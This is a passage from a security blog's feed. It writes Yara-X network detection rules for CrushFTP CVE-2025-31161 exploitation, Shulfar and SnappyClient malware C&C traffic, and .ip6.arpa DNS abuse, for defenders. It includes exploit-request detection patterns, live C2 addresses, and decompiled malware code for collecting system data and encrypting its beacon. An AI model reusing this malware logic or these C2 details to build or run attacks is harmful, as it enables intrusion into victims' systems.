		$authorization     = /\nAuthorization:[^\r\n]{0,12}AWS4-HMAC-SHA256 [^\r\n=\/]{1,64}=[^~\r\n\/]{1,255}\//i
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size &gt; 156
	  and 
	  flow.to_server
	  and		
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$uri at buf_off
			and
			$cookie_curr_auth  in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$cookie_crush_auth in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$authorization     in (buf_off + 36..buf_off + 36 + buf_sz)
	  	)
}
</code></pre>
<p><strong>Rule-2:</strong> POST Request (Figure 2)</p>
<p>The only difference between this rule and the rule for the GET request is the HTTP method, POST. The <strong>track_state</strong> in this rule checks whether the state "<em>crushftp_auth_bypass</em>" is set/armed, and if so, alerts on the matching packet of this rule. The reason for linking the POST request to the GET request, and vice versa, depending on how you interpret the order of the requests, is that we want to check for attempted remote code execution and not just the authentication bypass request alone.</p>
<p>To detect the server response in Figure 3, you could write a rule similar to the following:</p>
<pre><code class="language-python">rule crushftp_successful_rce_exploitation_response_2025_31161
{
    meta:
	
      description = "Detect successful exploitation response from the CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  flow_state  = "isset,crushftp_post_forged_cookie,alert"

	strings:
	
		$http_server      = /\nServer: CrushFTP HTTP Server/i
		$response_status  = "&lt;response_status&gt;OK&lt;/response_status&gt;"
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size &gt; 148
	  and 
	  flow.to_client
	  and		
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$http_server in (buf_off..buf_off + buf_sz)
			and
			$response_status in (buf_off + 64..buf_off + 64 + buf_sz)
	  	)
}
</code></pre>
<p><strong>Rule-3</strong>: Server Response (Figure 3)</p>
<p>The rule checks for the header <code>Server: CrushFTP HTTP Server</code> in the server response, and the XML message <code>&lt;response_status&gt;OK&lt;/response_status&gt;</code> in the response payload, indicating successful execution of the command shown in Figure 2 (POST request).</p>
<p>If you want to confirm that the POST request in Figure 2 was carried out successfully, we use the reserved keyword <strong>flow_state</strong> introduced in version 5.4.0 to tie it to the server response (and vice versa). In doing so, we ensure that the exploitation was successful.</p>
<p>This is evident in the <code>set</code>ting of the flow state "<em>crushftp_post_forged_cookie</em>" to <code>noalert</code> in Rule 2, and checking whether it is <code>set</code> in Rule 3, and if so, then and only then, <code>alert</code> on the matching packet against the server response. We use the <strong>flow_state</strong> keyword and not the <strong>track_state</strong>, because Figure 2 and Figure 3 traffic have to belong to the same flow/stream.</p>
<p>Running the above Yara-X rule through the linked pcap via PacketSmith and saving the result as JSON, we get the file <a href="https://github.com/Netomize/RFiles/blob/main/cve_2025_31161/yara_dte_2026_05_14_10_34_39.json">yara_dte_2026_05_14_10_34_39.json</a> with all the detections:</p>
<p><code>PacketSmith.exe -i &lt;infile_pcap&gt; -D yara:console_json -F frames: -O .</code></p>
<pre><code class="language-plaintext">*** [ Raw Frames ] ***

id    proto      ip.src:port             ip.dst:port             size    entropy    total    rules
--    -----      -----------             -----------             ----    -------    -----    -----
25    IP4-TCP    192.168.60.128:43476    192.168.60.129:9090     447     5.96954    1        crushftp_rce_vulnerability_post_req_cve_2025_31161(4)
30    IP4-TCP    192.168.60.129:9090     192.168.60.128:43476    534     5.84315    1        crushftp_successful_rce_exploitation_response_cve_2025_31161(2)
</code></pre>
<h1>Conclusion</h1>
<p>In this article, we have shown how to detect various stages of the exploitation chain of the vulnerability CVE-2025-31161 using PacketSmith's Yara detection module. Moreover, we have introduced and demonstrated how to use the new keywords <strong>flow_state</strong> and <strong>track_state</strong> to correlate multiple detection rules across different packets and flows/streams, enhancing the ability to detect and mitigate such vulnerabilities.</p>
<h1>References</h1>
<ol>
<li><p><strong>Outpost24</strong>: <a href="https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/">CrushFTP auth bypass vulnerability: Disclosure mess leads to attacks</a></p>
</li>
<li><p><strong>SonicWall</strong>: <a href="https://www.sonicwall.com/blog/critical-crushftp-authentication-bypass-cve-2025-2825-exposes-servers-to-remote-attacks">Critical CrushFTP Authentication Bypass (CVE-2025-31161) Exposes Servers to Remote Attacks</a>)</p>
</li>
<li><p><strong>AttackerKB-Rapid7</strong>: <a href="https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis">CVE-2025-2825</a></p>
</li>
<li><p><strong>Huntress</strong>: <a href="https://www.huntress.com/blog/crushftp-cve-2025-31161-auth-bypass-and-post-exploitation">CrushFTP CVE-2025-31161 Auth Bypass and Post-Exploitation</a></p>
</li>
<li><p><strong>Immersive-Labs GitHub</strong>: <a href="https://github.com/Immersive-Labs-Sec/CVE-2025-31161">CVE-2025-31161 PoC</a></p>
</li>
<li><p><strong>Netomize GitHub RFiles Repo</strong>: <a href="https://github.com/Netomize/RFiles/tree/main/cve_2025_31161">CVE-2025-31161 PCAP + Yara Rules</a></p>
</li>
</ol>
<hr />
<p>Author: Mohamad Mokbel</p>
<p>First release: May 14, 2026</p>
]]></content:encoded></item><item><title><![CDATA[Detect Shulfar Malware Encrypted TCP C&C Traffic Using PacketSmith Yara-X Detection Module]]></title><description><![CDATA[Introduction
Splunk published a blog post about a variant of the Gh0stRat malware family used in a new campaign delivered alongside the CloverPlus adware. The blog post is titled "Not Just Annoying Ad]]></description><link>https://blog.netomize.ca/detect-shulfar-malware-encrypted-tcp-c-c-traffic-using-packetsmith-yara-x-detection-module</link><guid isPermaLink="true">https://blog.netomize.ca/detect-shulfar-malware-encrypted-tcp-c-c-traffic-using-packetsmith-yara-x-detection-module</guid><category><![CDATA[packetsmith]]></category><category><![CDATA[yara-x]]></category><category><![CDATA[Malware]]></category><category><![CDATA[PCAP]]></category><category><![CDATA[detection engineering ]]></category><category><![CDATA[network traffic]]></category><category><![CDATA[Virustotal]]></category><category><![CDATA[shulfar]]></category><category><![CDATA[encrypted_traffic]]></category><category><![CDATA[TCP]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Fri, 24 Apr 2026 19:27:15 GMT</pubDate><content:encoded><![CDATA[<h1>Introduction</h1>
<p>Splunk published a blog post about a variant of the Gh0stRat malware family used in a new campaign delivered alongside the CloverPlus adware. The blog post is titled "<a href="https://www.splunk.com/en_us/blog/security/detecting-ghost-rat-cloverplus-adware-loader-analysis.html">Not Just Annoying Ads: Adware Bundles Delivering Gh0st RAT</a>", dated April 17, 2026. Although Splunk detects the RAT as a variant of the Gh0stRat family, Netomize refutes linking this variant to the Gh0stRat family due to major differences in code structure, C&amp;C communication protocols, and functionality. Instead, we refer to it as "Shulfar," the reverse of the DLL Export name "RAFlush".</p>
<p>The malware utilizes two communication channels: one via the HTTP protocol and the other through a custom TCP packet payload. Notably, the custom TCP protocol employs a straightforward encryption algorithm, using XOR and addition with a one-byte key, to encrypt the TCP packet's payload.</p>
<p>The malware is a 32-bit DLL written in C. I've chosen it to showcase the "yara" detection module in PacketSmith, highlighting its ability to detect encrypted traffic without relying on a specific key.</p>
<p>The variant with the following information (in the table shown below) matches the "Gh0stRat" variant referenced by the Splunk Threat Research Team. The sample is available on <a href="https://www.virustotal.com/gui/file/ec6ef50587a847d4a655e9bfc5c1aee4078005c0774a3e6fa23949cc4d8fbad3/detection"><strong>VT</strong></a>.</p>
<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>MD5</td>
<td>20e7a8b973ac2b43c95ddb77308266c9</td>
</tr>
<tr>
<td>SHA-1</td>
<td>e46e6ea272ae628d15bfb7b71ff40e3950fd2e85</td>
</tr>
<tr>
<td>SHA-256</td>
<td>ec6ef50587a847d4a655e9bfc5c1aee4078005c0774a3e6fa23949cc4d8fbad3</td>
</tr>
<tr>
<td>File Size</td>
<td>158856 bytes</td>
</tr>
<tr>
<td>File Type</td>
<td>Win32 DLL</td>
</tr>
</tbody></table>
<p><strong>Table 1</strong> - Malware Basic Properties</p>
<p>Please refer to our previous blog post, "<a href="https://blog.netomize.ca/detect-snappyclient-c-c-traffic-using-packetsmith-yara-x-detection-module">Detect SnappyClient C&amp;C Traffic Using PacketSmith + Yara-X Detection Module</a>", for more information about how to use the PacketSmith "yara" detection module.</p>
<p>The malware is packed. This blog post primarily focuses on the custom TCP packet payload.</p>
<p>Shulfar communicates with the C&amp;C server 107.163.56.251 over TCP/6658. It sends a packet similar to the following:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/1d9f1914-f6af-4b83-8905-3d5812e49347.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Figure 1</strong> - Shulfar Encrypted Checkin Packet (TCP payload)</p>
<p>I've made the pcap available for download via Netomize's official repo (RFiles), <a href="https://github.com/Netomize/RFiles/blob/main/packetsmith/shulfar_traffic.pcap">Shulfar packet capture</a> (4,678 bytes).</p>
<p>The packet includes system-specific information and some hardcoded values. Before being sent to the C&amp;C server, it is encrypted with a fixed one-byte key, specifically 0x64. The decrypted packet corresponds to:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/4879efaf-b7fc-40e7-a8a3-aaa822de51dc.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Figure 2</strong> - Shulfar Decrypted Checkin Packet (TCP payload)</p>
<p>The structure of the packet in <strong>Figures</strong> <strong>1</strong> and <strong>2</strong> is as follows:</p>
<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>0x00</td>
<td>0x40</td>
<td>Processor name, and if unsuccessful, set it to "Find CPU Error".</td>
</tr>
<tr>
<td>0x40</td>
<td>0x20</td>
<td>Total physical memory in MB (format, "%u MB").</td>
</tr>
<tr>
<td>0x60</td>
<td>0x20</td>
<td>OS version (format, "Win %s SP%d").</td>
</tr>
<tr>
<td>0x80</td>
<td>0x20</td>
<td>Unique constant identifier ("10151338").</td>
</tr>
<tr>
<td>0xA0</td>
<td>0x80</td>
<td>If the file "C:\qylxnhy\lang.ini" exists and includes the substring "http://" but not "search", retrieve the file's buffer (with a length of 253 bytes). Otherwise, return the hardcoded C&amp;C server address "<a href="http://107.163.56.250:18963/main.php">http://107.163.56.250:18963/main.php</a>".</td>
</tr>
<tr>
<td>0x120</td>
<td>0x04</td>
<td>System default UI language ID (for example, 0x0409 en-US).</td>
</tr>
<tr>
<td>0x124</td>
<td>0x04</td>
<td>Fixed value 0xffffffff (-1).</td>
</tr>
</tbody></table>
<p><strong>Table 1</strong> - TCP Packet Structure</p>
<p>Note - 1: The packet has a fixed length of 296 bytes. If the data at offset 0xA0 is read from the "lang.ini" file and exceeds 128 bytes, the file's content will overflow into the rest of the packet's buffer.</p>
<p>The following high-level pseudocode snippet illustrates how the packet is constructed:</p>
<pre><code class="language-cpp">// function rva 0x10005753 (for the dumped DLL with fixed IAT)
int __cdecl collect_sys_info_checkin_pkt(packet_cinfo *pkt_data)
{
  int ram_size;
  LANGID SystemDefaultUILanguage;
  BYTE Data[260];
  CHAR server_addr_from_file[253];
  CHAR SubKey[48];
  _MEMORYSTATUSEX Buffer;
  DWORD Type;
  DWORD cbData;
  HKEY phkResult;

  qmemcpy(SubKey, aHardwareDescri, sizeof(SubKey));
  
  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, KEY_ALL_ACCESS, &amp;phkResult) )
  {
    j_strcpy(pkt_data, aFindCpuError);
  }
  else
  {
    Type = 4;
    cbData = 200;
    reg_query_value(phkResult, aProcessornames, 0, &amp;Type, Data, &amp;cbData);
    reg_close_key(phkResult);
    j_strcpy(pkt_data, Data);
  }
  
  // copy processor name
  copy_buffer_skip_leading_wspaces(pkt_data);
  get_os_version_info(pkt_data-&gt;os_ver_info);
  
  Buffer.dwLength = 64;
  GlobalMemoryStatusEx(&amp;Buffer);
  ram_size = convert_to_mb(Buffer.ullTotalPhys, 20u);
  wvsprintfA_0(pkt_data-&gt;physical_mem, aUMb, (ram_size + 1));
  
  j_strcpy(pkt_data-&gt;identifier, a10151338);    // "10151338"
  
  SystemDefaultUILanguage = GetSystemDefaultUILanguage();
  server_addr_from_file[0] = 0;
  pkt_data-&gt;lang_id = SystemDefaultUILanguage;
  
  memset(&amp;server_addr_from_file[1], 0, 252u);
  
  pkt_data-&gt;const_delimiter = 0xFFFFFFFF;

  if ( check_lang_ini_file(server_addr_from_file, 256u) )
  {
	  return j_strcpy(pkt_data-&gt;server_addr, server_addr_from_file);
  }
  else
  {	  
	// "http://107.163.56.250:18963/main.php"
    return wvsprintfA_0(pkt_data-&gt;server_addr, aS, aHttp1071635625);
  }
}
</code></pre>
<p>And the encryption algorithm pseudocode is:</p>
<pre><code class="language-cpp">int __cdecl encrypt_traffic(int data, int dsize, uint8_t key)
{
  int result;
  int i;
  char edata;

  result = key / 254;
  for ( i = 0; i &lt; dsize; *result = edata )
  {
    result = i + data;
    edata = key % 254 + 1 + (*(i + data) ^ (key % 254 + 1));
    ++i;
  }
  return result;
}
</code></pre>
<p>The initial key provided to the encrypt_traffic function is 0x63, and the final derived key is 0x64. This means the key has to be between 1 and 254. Therefore, to decrypt the traffic, you subtract 0x64 from every byte and XOR it with the same key (0x64).</p>
<p>The server response is neither encrypted nor compressed; the malware anticipates receiving a fixed-size packet of 188 bytes (0xbc) for control commands from the server.</p>
<h1><strong>Detection Logic</strong></h1>
<p>With the packet structure documented and the encryption algorithm understood, we can use <a href="https://virustotal.github.io/yara-x/docs/writing_rules/rule-conditions/#operators">Yara-X operators</a> to simulate the decryption process on the packet's payload, searching for fixed bytes at specific offsets and ranges. We look for " <code>MB\x00</code>" and "<code>Win</code> " among these fixed bytes. Additionally, we verify that the packet's payload size is set to <code>296</code>. While we could include more atomic indicators in the detection logic, it's unnecessary. The two fixed content matches we check for at specific offsets and within a specific range are sufficient to prevent any potential false positives in their encrypted format.</p>
<p>We could derive a rule similar to the following:</p>
<pre><code class="language-cpp">rule shulfar_malware_encrypted_tcp_packet
{
    meta:

	  description = "Detecting Shulfar malware encrypted checkin TCP packet"
      filter      = "Frames (frames:)"
	  sha1        = "e46e6ea272ae628d15bfb7b71ff40e3950fd2e85"
	  reference   = "https://www.splunk.com/en_us/blog/security/detecting-ghost-rat-cloverplus-adware-loader-analysis.html"
	  author      = "Netomize"
	  date        = "04/24/2026"
        
    condition:

		tcp.is_set
		and
		math.in_range(port.src, 1024, 65535) // ephemeral ports
		and
		tcp.data.size == 296
		and
        for any key in (0..255) : 
		(
            for any pos in (tcp.data.offset + 64..tcp.data.offset + 96) : 
			(
                (
					// check for ' ' (0x20)
                    (((uint8(pos) - ((key % 254) + 1)) &amp; 0xff) ^ ((key % 254) + 1))     == 0x20 
					and
                    // check for 'M' (0x4D)
                    (((uint8(pos + 1) - ((key % 254) + 1)) &amp; 0xff) ^ ((key % 254) + 1)) == 0x4d 
					and                    
                    // check for 'B' (0x42) 
                    (((uint8(pos + 2) - ((key % 254) + 1)) &amp; 0xff) ^ ((key % 254) + 1)) == 0x42
					and                    
                    // check for null byte (0x00)
                    (((uint8(pos + 3) - ((key % 254) + 1)) &amp; 0xff) ^ ((key % 254) + 1)) == 0x00
                )
            )
			
			and
			
            for any pos in (tcp.data.offset + 96..tcp.data.offset + 128) : 
			(
                (
					// check for 'W' (0x57)
                    (((uint8(pos) - ((key % 254) + 1)) &amp; 0xff) ^ ((key % 254) + 1))     == 0x57 
					and
                    // check for 'i' (0x69)
                    (((uint8(pos + 1) - ((key % 254) + 1)) &amp; 0xff) ^ ((key % 254) + 1)) == 0x69 
					and                    
                    // check for 'n' (0x6e) 
                    (((uint8(pos + 2) - ((key % 254) + 1)) &amp; 0xff) ^ ((key % 254) + 1)) == 0x6e 
					and                    
                    // check for ' ' byte (0x20)
                    (((uint8(pos + 3) - ((key % 254) + 1)) &amp; 0xff) ^ ((key % 254) + 1)) == 0x20
                )
            )
        )
}
</code></pre>
<p>The detection rule ensures the ephemeral source port range and packet data size are enforced. To verify the fixed content matches " MB\x00" and "Win ", regardless of any specific encryption key, we iterate over all possible keys and establish two loops to check each content match at their respective offsets in the packet.</p>
<h1>Conclusion</h1>
<p>This article demonstrates the capabilities of the PacketSmith "yara" detection module in identifying encrypted traffic without relying on a specific key by simulating the decryption algorithm for all possible keys. Additionally, we have detailed the construction of Shulfar's custom C&amp;C traffic over the TCP channel.</p>
<hr />
<p>Author: Mohamad Mokbel</p>
<p>First release: April 24, 2026</p>
]]></content:encoded></item><item><title><![CDATA[Detect SnappyClient C&C Traffic Using PacketSmith + Yara-X Detection Module]]></title><description><![CDATA[Introduction
Zscaler published a blog post about a new malware called SnappyClient, written in the C++ programming language. The malware communicates with its C&C server using a custom binary protocol]]></description><link>https://blog.netomize.ca/detect-snappyclient-c-c-traffic-using-packetsmith-yara-x-detection-module</link><guid isPermaLink="true">https://blog.netomize.ca/detect-snappyclient-c-c-traffic-using-packetsmith-yara-x-detection-module</guid><category><![CDATA[packetsmith]]></category><category><![CDATA[yara-x]]></category><category><![CDATA[snappyclient]]></category><category><![CDATA[Malware]]></category><category><![CDATA[PCAP]]></category><category><![CDATA[detection engineering ]]></category><category><![CDATA[network traffic]]></category><category><![CDATA[Virustotal]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Mon, 23 Mar 2026 19:18:18 GMT</pubDate><content:encoded><![CDATA[<h1>Introduction</h1>
<p>Zscaler published a blog post about a new malware called <a href="https://www.zscaler.com/blogs/security-research/technical-analysis-snappyclient">SnappyClient</a>, written in the C++ programming language. The malware communicates with its C&amp;C server using a custom binary protocol. The traffic is encrypted with ChaCha20-Poly1305 using a key and nonce received from the server, which are exchanged and validated before any control commands are sent or received. I've selected this sample because the C&amp;C traffic structure is almost unfilterable, even with a traditional IDS/IPS, without incurring a high rate of false positives or significant performance impact.</p>
<p>The variant with the following information (in the table shown below) matches the C&amp;C traffic dissected by Zscaler threat research blog. The sample is available on <a href="https://www.virustotal.com/gui/file/eb523f6b0f306ce9fb68adeadac41d2c25b720075f03c75bd3611584dee28cf9/details">VT</a>.</p>
<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>MD5</td>
<td>ec8258adfbf4ba5b9e8a06d75c5634cc</td>
</tr>
<tr>
<td>SHA-1</td>
<td>feb928a54be40ad4bbf245aaae6968f83b4937f5</td>
</tr>
<tr>
<td>SHA-256</td>
<td>eb523f6b0f306ce9fb68adeadac41d2c25b720075f03c75bd3611584dee28cf9</td>
</tr>
<tr>
<td>File size</td>
<td>3053296 bytes</td>
</tr>
<tr>
<td>File Type</td>
<td>Win32 EXE</td>
</tr>
</tbody></table>
<p>VT's sandbox has a full capture of the C&amp;C traffic, and I've made it available for download via Netomize's official repo (RFiles), <a href="https://github.com/Netomize/RFiles/blob/main/packetsmith/snappyclient_traffic_vt_sandbox_md5_ec8258adfbf4ba5b9e8a06d75c5634cc.pcap">SnappyClient Traffic VT</a> (48.9 KB).</p>
<p>This blog post is about writing detection logic for the C&amp;C traffic based on PacketSmith + Yara-X detection module, using custom pattern identifiers. For an in-depth analysis of how the malware works, please refer to the <a href="https://www.zscaler.com/blogs/security-research/technical-analysis-snappyclient">Zscaler blog post</a>.</p>
<p>Once the malware successfully connects to the server, it receives a ChaCha20 key, a nonce, and a control session ID. Subsequently, SnappyClient sends an encrypted packet with the message header, followed by another packet containing the encrypted and compressed message. Our focus is on the structure of the second packet sent by the malware to the server, used for reporting back to the C&amp;C server. This packet is transmitted via the TCP protocol over ports 3333/3334 to the C&amp;C server at 151[.]242[.]122[.]227.</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/2bc7a9c7-c1c4-4574-821c-97a20e89bbb1.jpg" alt="SnappyClient C&amp;C Traffic" style="display:block;margin:0 auto" />

<p>Figure 1 - SnappyClient Egress Cmd Packet</p>
<p>The structure of the packet in Figure 1 is as follows:</p>
<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>0x00</td>
<td>0x02</td>
<td>Packet length in little-endian, starting from offset 0x03</td>
</tr>
<tr>
<td>0x02</td>
<td>0x01</td>
<td>A flag indicating whether the packet contains output tag data or not (the data in the green box). 0x00 or 0x01</td>
</tr>
<tr>
<td>0x03</td>
<td>uint16(0x00)</td>
<td>Encrypted message (including output tag, depending on whether the flag at offset 0x02 is set or not)</td>
</tr>
</tbody></table>
<h1>Detection Logic</h1>
<p>With the packet structure documented, we can develop detection logic to avoid false positives. The packet lacks unique content for anchoring, except for the byte at offset 0x02, which can be 0x00 or 0x01. This is insufficient for quick pattern matching in real-time traffic. Additionally, the encrypted message begins at offset 0x03 and continues to the packet's end, minus the 16-byte output tag size if the flag at offset 0x02 is set.</p>
<p>Understanding these limitations and indicators, we can develop a Yara-X + PacketSmith detection rule utilizing custom PaIDs (Pattern Identifiers) such as <code>tcp</code>, <code>ip</code>, and <code>flow</code>, along with the advanced math tools and operations built into Yara-X.</p>
<p>We could derive a rule similar to the following:</p>
<pre><code class="language-cpp">import "math"

rule snappyclient_malware_encrypted_pkt 
{ 
  meta:

    description = "TCP encrypted and compressed packet (client-&gt;server)"
    reference   = "https://www.zscaler.com/blogs/security-research/technical-analysis-snappyclient"
    filter      = "Frames (frames:)"
    sha1        = "feb928a54be40ad4bbf245aaae6968f83b4937f5"
    author      = "Netomize"
    date        = "22/03/2026"	

condition:

   tcp.is_set and ip4.is_set and not ip4.in_ip6 
   and 
   tcp.data.size &gt; 3
   and
   ip.dst.type == 1 // public
   and 
   flow.to_server   // direction
   and 
   math.in_range(port.src, 1024, 65535) // ephemeral ports
   and		
   with buf_size = uint16(tcp.data.offset), buf_offset = tcp.data.offset:
  	(
  		buf_size == (tcp.data.size - 3)
  		and
		( uint8(buf_offset + 2) == 0x00 or uint8(buf_offset + 2) == 0x01 )
		and
		math.entropy(buf_offset + 2, buf_size) &gt;= 4
		and
		math.count(0x00, buf_offset + 2, buf_size) &lt; 8
  	)
}
</code></pre>
<p>The rule checks for the following atomic indicators</p>
<ul>
<li><p>First, we check that we're dealing with a TCP packet over IPv4 using the <code>tcp.is_set</code> and <code>ip4.is_set</code> PaIDs, respectively, while ensuring that this is not an encapsulated IPv4 in IPv6 packet (<code>not ip4.in_ip6</code>)</p>
</li>
<li><p>The minimum size of the TCP payload is 3 bytes (<code>tcp.data.size &gt; 3</code>)</p>
</li>
<li><p>PacketSmith <code>ip</code> PaID can infer the type of the IP address using enum values (PUBLIC = 1, UNSPECIFIED = 2, PRIVATE = 3, CGNAT = 4, LOOPBACK = 5, LINK_LOCAL = 6, IETF_ASSIGNMENTS = 7, DOCUMENTATION = 8 and RELAY = 9, among others)</p>
<ul>
<li>The destination IP address is public (<code>ip.dst.type == 1</code>)</li>
</ul>
</li>
<li><p>The directionality of the packet is to the server (<code>flow.to_server</code>)</p>
</li>
<li><p>Using the "math" module <code>in_range</code> function, we check the range of the ephemeral source port such that it is between 1024 and 65535 (<code>math.in_range(port.src, 1024, 65535)</code>)</p>
</li>
<li><p>We use the <code>with</code> statement to alias the TCP packet payload offset and size</p>
<ul>
<li><code>with buf_size = uint16(tcp.data.offset), buf_offset = tcp.data.offset:</code></li>
</ul>
</li>
<li><p>The uint16 value at offset 0x00 in the TCP payload is equal to the payload's size, minus the first 3 bytes (the header)</p>
<ul>
<li><code>buf_size == (tcp.data.size - 3)</code></li>
</ul>
</li>
<li><p>The byte at offset 0x02 could be either 0x00 or 0x01</p>
<ul>
<li><code>( uint8(buf_offset + 2) == 0x00 or uint8(buf_offset + 2) == 0x01 )</code></li>
</ul>
</li>
<li><p>Since the data is encrypted and compressed, the entropy of the data has to be &gt;= 4</p>
<ul>
<li><p><code>math.entropy(buf_offset + 2, buf_size) &gt;= 4</code></p>
</li>
<li><p>You can safely increase the value if you want to check for large encrypted messages</p>
</li>
</ul>
</li>
<li><p>Finally, using the "math" module and the function <code>count()</code>, we check the encrypted data in the packet for all occurrences of the byte 0x00 such that it is &lt; 8</p>
<ul>
<li><code>math.count(0x00, buf_offset + 2, buf_size) &lt; 8</code></li>
</ul>
</li>
</ul>
<p>Running the above Yara-X rule through the linked pcap via PacketSmith and saving the result as XML, we get the file <a href="https://github.com/Netomize/RFiles/blob/main/packetsmith/yara_dte_2026_03_23_17_11_08.xml">yara_dte_2026_03_23_17_11_08.xml</a> (use MS Excel to view it) with all the detections:</p>
<p><code>PacketSmith.exe -i &lt;infile_pcap&gt; -D yara:xml -F frames: -O .</code></p>
<p>To check for potential false positives, we applied the detection rule to two large pcaps from our collection (511MB and 136MB) and found zero hits.</p>
<h1>Conclusion</h1>
<p>The PacketSmith + Yara‑X approach demonstrates that even highly obfuscated, ChaCha20‑Poly1305‑encrypted C&amp;C channels like SnappyClient can be detected reliably without deep payload inspection. By focusing on protocol-level fingerprints — the packet header, fixed-length framing, and the byte distribution—the detection module achieves a useful signal with potentially zero false positives and modest performance cost.</p>
<hr />
<p>Author: Mohamad Mokbel</p>
<p>First release: March 23, 2026</p>
]]></content:encoded></item><item><title><![CDATA[Detect Malicious .ip6.arpa TLD Reverse DNS Zone Response Packets using PacketSmith Yara-X Detection Module]]></title><description><![CDATA[Introduction
The other day, I was reading this interesting article Abusing .arpa: The TLD That Isn’t Supposed to Host Anything by Infoblox threat intel team, published on February 26, 2026. What got m]]></description><link>https://blog.netomize.ca/detect-malicious-ip6-arpa-tld-reverse-dns-zone-response-packets-using-packetsmith-yara-x-detection-module</link><guid isPermaLink="true">https://blog.netomize.ca/detect-malicious-ip6-arpa-tld-reverse-dns-zone-response-packets-using-packetsmith-yara-x-detection-module</guid><category><![CDATA[ipv6]]></category><category><![CDATA[packetsmith]]></category><category><![CDATA[ip6]]></category><category><![CDATA[reverse dns zone]]></category><category><![CDATA[yara-x]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Tue, 17 Mar 2026 16:03:31 GMT</pubDate><content:encoded><![CDATA[<h1>Introduction</h1>
<p>The other day, I was reading this interesting article <a href="https://www.infoblox.com/blog/threat-intelligence/abusing-arpa-the-tld-that-isnt-supposed-to-host-anything/">Abusing .arpa: The TLD That Isn’t Supposed to Host Anything</a> by Infoblox threat intel team, published on February 26, 2026. What got my attention is the clever abuse of the <code>.arpa</code> TLD (Address and Routing Parameter Area) for phishing purposes, and in particular, the querying of the IPv6 reverse DNS zone <code>ip6.arpa</code> for an A record instead of being legitimately used for reverse DNS lookup using the <code>PTR</code> record, which translates IP addresses back to domain names. According to <a href="https://www.iana.org/domains/arpa">IANA</a>, the domain <code>ip6.arpa</code> is used for "<em>mapping IPv6 addresses to Internet domain names</em>", that's mapping nibble-reversed IPv6 addresses back to hostnames.</p>
<p>I'm not aware of any prior documentation of such clever usage of the <code>.arpa</code> TLD to evade detection. The article is worth taking the time to read in full.</p>
<p>For example, sending an <strong>A</strong> DNS type query to the domain <code>c.5.2.1.6.3.0.0.0.7.4.0.1.0.0.2.ip6.arpa</code>, the server returns a routable C2 A record, <code>157[.]245[.]92[.]156</code> as shown in the figure below.</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/7c1d1a32-eb52-4e72-ae66-de8fc0e122e4.png" alt="" style="display:block;margin:0 auto" />

<p>For the server to return a routable A record, the requested reverse DNS has to be under the threat actor's control, which is registered as a domain name, since this is not a legitimate/valid use of the <code>ip6.arpa</code> domain.</p>
<p>After reading the article, I asked myself how to write a domain-independent generalized detection logic against this abuse of the <code>ip6.arpa</code> domain.</p>
<h1>Detection Logic Using PacketSmith + Yara-X Detection Module</h1>
<p>In this section, we'll write a custom and generic Yara-X rule that uses PacketSmith's custom pattern identifier <code>dns</code> to detect this abuse of the <code>ip6.arpa</code> domain, with zero probability of any false positives.</p>
<p>Please refer to the sneak peek article <a href="https://packetsmith.ca/yara-x-packetsmith-detection-module/">Yara-X + PacketSmith Detection Module</a>, for more information about the <code>dns</code> custom pattern identifier and the Yara-X detection module.</p>
<p>For reference, a pcap <a href="https://github.com/Netomize/RFiles/blob/main/packetsmith/arpa_ip6_reverse_dns_a_record.pcap">arpa_ip6_reverse_dns_a_record.pcap</a> with this behaviour is available for download from Netomize's GitHub repository.</p>
<p>The detection logic is simple and requires checking for a few indicators in the DNS response packet, ensuring that the requested reverse DNS returns an A record. The main detection logic consists of the following atomic indicators:</p>
<ul>
<li><p>The requested reverse DNS ends with <code>ip6.arpa</code></p>
</li>
<li><p>Query/Answer type is <code>A</code> (1), and class is <code>IN</code> (1)</p>
</li>
<li><p>Answer RR TTL is low for fast-flux DNS (optional)</p>
<ul>
<li>In the case of <code>c.5.2.1.6.3.0.0.0.7.4.0.1.0.0.2.ip6.arpa</code>, the server returns an TTL of 5, which is very low for legitimate traffic</li>
</ul>
</li>
<li><p>Answer RR data length is 4 to make sure that the server returned a value, that's an A record</p>
</li>
<li><p>Other indicators are documented in the rule</p>
</li>
</ul>
<p>The rule could be written as follows:</p>
<pre><code class="language-cpp">rule ip6_arpa_tld_dns_rsp_pkt_malicious 
{ 
  meta:

   description = "Detect malicious .ip6.arpa TLD DNS response pkts"
   reference   = "https://www.infoblox.com/blog/threat-intelligence/abusing-arpa-the-tld-that-isnt-supposed-to-host-anything/"
   filter      = "Frames (frames:)"
   author      = "Netomize"
   date        = "17/03/2026"	  

condition:
	
  dns.is_set and not dns.over_tcp and dns.flag.response 
  and 
  dns.flag.opcode   == 0 
  and
  dns.count.queries == 1
  and
  dns.count.ansr_rr == 1
  and
